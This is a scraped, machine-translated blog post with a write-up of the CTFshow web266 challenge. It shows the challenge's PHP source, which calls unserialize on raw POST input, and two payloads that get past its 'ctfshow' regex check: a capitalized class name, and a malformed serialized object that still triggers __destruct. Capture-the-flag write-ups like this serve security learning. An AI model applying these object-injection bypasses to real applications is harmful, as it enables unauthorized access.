当前位置:网站首页>Ctfshow-web266 (deserialization)
Ctfshow-web266 (deserialization)
2022-06-12 19:37:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
[email protected]($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}Law 1 :
In the serialized results ctfshow C Capitalization can bypass judgment ( Grab the bag for POST Repackage )
<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);Law two ( I don't understand ):
Pass in something else in the code , Name exists , But the structure is chaotic , Can be judged to be successful , But you can still use __destruct() function
O:7:"ctfshow":0:{ctf}
边栏推荐
- 解释器文件
- Programming tool download address
- 腾讯云TDP-virt-viewer win客户端的软件使用
- 基於分布式數據庫本身的定時備份方法
- ThansmittableThreadLocal详解
- 5g R17 standard is frozen. What does it say?
- Cookie & Session & kaptcha验证码
- Research Report on current market situation and investment prospect of China's tobacco RFID industry 2022-2027
- VC hacon joint programming genimage3extern writeimage
- Transactions in redis
猜你喜欢

RT thread simulator builds lvgl development and debugging environment

Wechat e-book reading applet graduation design works (1) development outline

【观察】华为下一代数据中心,为广西低碳高质量发展“添动能”

Embedded development: 6 necessary skills for firmware engineers

攻防世界(web篇)---supersqli

QT -- how to get the contents of selected cells in qtableview

"As a service", the future has come, starting from the present | new mode of it consumption, FOD billing on demand

Shell 编程正则表达式及元字符

Shell arrays and functions

选电子工程被劝退,真的没前景了?
随机推荐
Download and configuration of nuitka packaging tutorial
Report on the development status of China's asset appraisal industry and suggestions for future strategic planning 2022-2027
3GPP RAN第一次F2F会议,都干了些啥?
Blue Bridge Cup basic-14 VIP question time conversion
系统 日志
Is it really hopeless to choose electronic engineering and be discouraged?
Dacom G150双模耳机,为爱发声,呵护孩子听力健康成长
Shell 编程正则表达式及元字符
[image denoising] image denoising based on regularization with matlab code
What are the third-party software testing organizations in Shanghai that share knowledge about software validation testing?
Negative remainder problem
模塊八作業
vc hacon 聯合編程 GenImage3Extern WriteImage
Hardware test - why not use grounding clip for ripple test
Research Report on global and Chinese cosmetics industry market sales scale forecast and investment opportunities 2022-2028
Understand Jack Dorsey's web5 from the ppt on page 16
选电子工程被劝退,真的没前景了?
Shell 数组和函数
PHP converts total seconds to hours, minutes and seconds
mysql的增删改查,mysql常用命令